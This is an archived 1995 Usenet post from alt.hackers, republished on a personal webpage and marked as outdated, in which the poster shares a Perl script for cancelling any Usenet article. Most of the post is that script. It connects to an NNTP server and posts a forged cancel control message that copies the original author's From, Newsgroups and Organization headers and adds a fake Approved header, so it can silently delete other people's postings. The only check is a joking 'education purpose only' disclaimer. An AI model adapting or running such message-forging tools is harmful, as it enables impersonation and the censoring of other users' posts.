Sam Trenholme's webpage
This article was posted to the Usenet group alt.hackers in 1995; any technical information is probably outdated.

Re: Time to remove alt.hackers.malicious


Article: 8619 of alt.hackers
From: jseng@technet.sg (James Seng)
Newsgroups: alt.hackers
Subject: Re: Time to remove alt.hackers.malicious
Date: 18 Sep 1995 07:57:27 GMT
Organization: Pacific Internet, Singapore
Lines: 91
Approved: god@heaven.com (yes..heaven is going commerical too 8)
Message-ID: 43j8p7$jv7@raffles.technet.sg
NNTP-Posting-Host: einstein.technet.sg
X-Newsreader: TIN [version 1.2 PL2]
Status: RO

Greg Corey (gregc@msn.fullfeed.com) wrote:
: OBhowtoendnetspaminoneeasylessonHack:
: Essentially, this will tell you how to cancel a message posted by anyone at
: any site.  This allows you to end net.spam the moment you see it.

[ascii hex snip]

Why not just encrypted it so that anyone who can figure out how to
decrypt it will know ;-)

Anyway, it is not really a big deal. Anyone who managed to post here
and reads "control" newsgroup should figure it out by
now. (nope..reading
the rfc is useless guide unless you know what is going on in the first place).

ObYetAnotherPerlHack:

A useful script which i have use now and then to remove 'unwanted' news
article. Please do not use it to cancel articles without the permission
from the author of the posting. It is provided for education purpose only. *8)

#!/usr/bin/perl
# Uses    : To cancel any posting from Usenet
# Done by : James Seng (jseng@technet.sg) on 21st Sep 94
#
# First, save the article which you want to kill into a file say killart
# Then cancel the article by executiong ./cpost killart

# IMPORTANT: change this to your NNTP news server
$nntp='raffles.technet.sg';
$port=119;

while (<>) {
    if (/^From:/) {
        $from=$_;
    } elsif (/^Newsgroups:/) {
        $news=$_;
    } elsif (/^Message-ID:/) {
        ($null,$mid)=split;
    } elsif (/^Organization:/) {
        $org=$_;
    }
}

$AF_INET = 2;
$SOCK_STREAM = 1;

$SIG{'INT'}='dokill';
sub dokill {
    kill 9,$child if $child;
}

$sockaddr = 'S n a4 x8';

chop($hostname = `hostname`);

($name,$aliases,$proto) = getprotobyname('tcp');
($name,$aliases,$port) = getservbyname($port,'tcp') unless $port =~ /^\d+$/;
($name,$aliases,$type,$len,$thisaddr)=gethostbyname($hostname);
($name,$aliases,$type,$len,$thataddr)=gethostbyname($nntp);

$this=pack($sockaddr,$AF_INET,0,$thisaddr);
$that=pack($sockaddr,$AF_INET,$port,$thataddr);

socket(S,$AF_INET,$SOCK_STREAM,$proto);
bind(S,$this);
connect(S,$that);

select(S); $|=1; select(STDOUT);

# fork'ed() for debugging purpose
if ($child=fork) {
   print(S "post\n");
   sleep 1;
   print(S $from);
   print(S $news);
   print(S "Subject: cmsg cancel $mid\n");
   print(S "Control: cancel $mid\n");
   print(S "Approved: nobody\n");
   print(S $org);
   print(S "\n");
#   print(S "Article cancelled. (User request)\n");
   print(S ".\n");
   sleep 1;
   print(S "quit\n");
   sleep 2;
   do dokill();
} else {
   while (<S>) {
        print;
   }
}



Parent

Back to index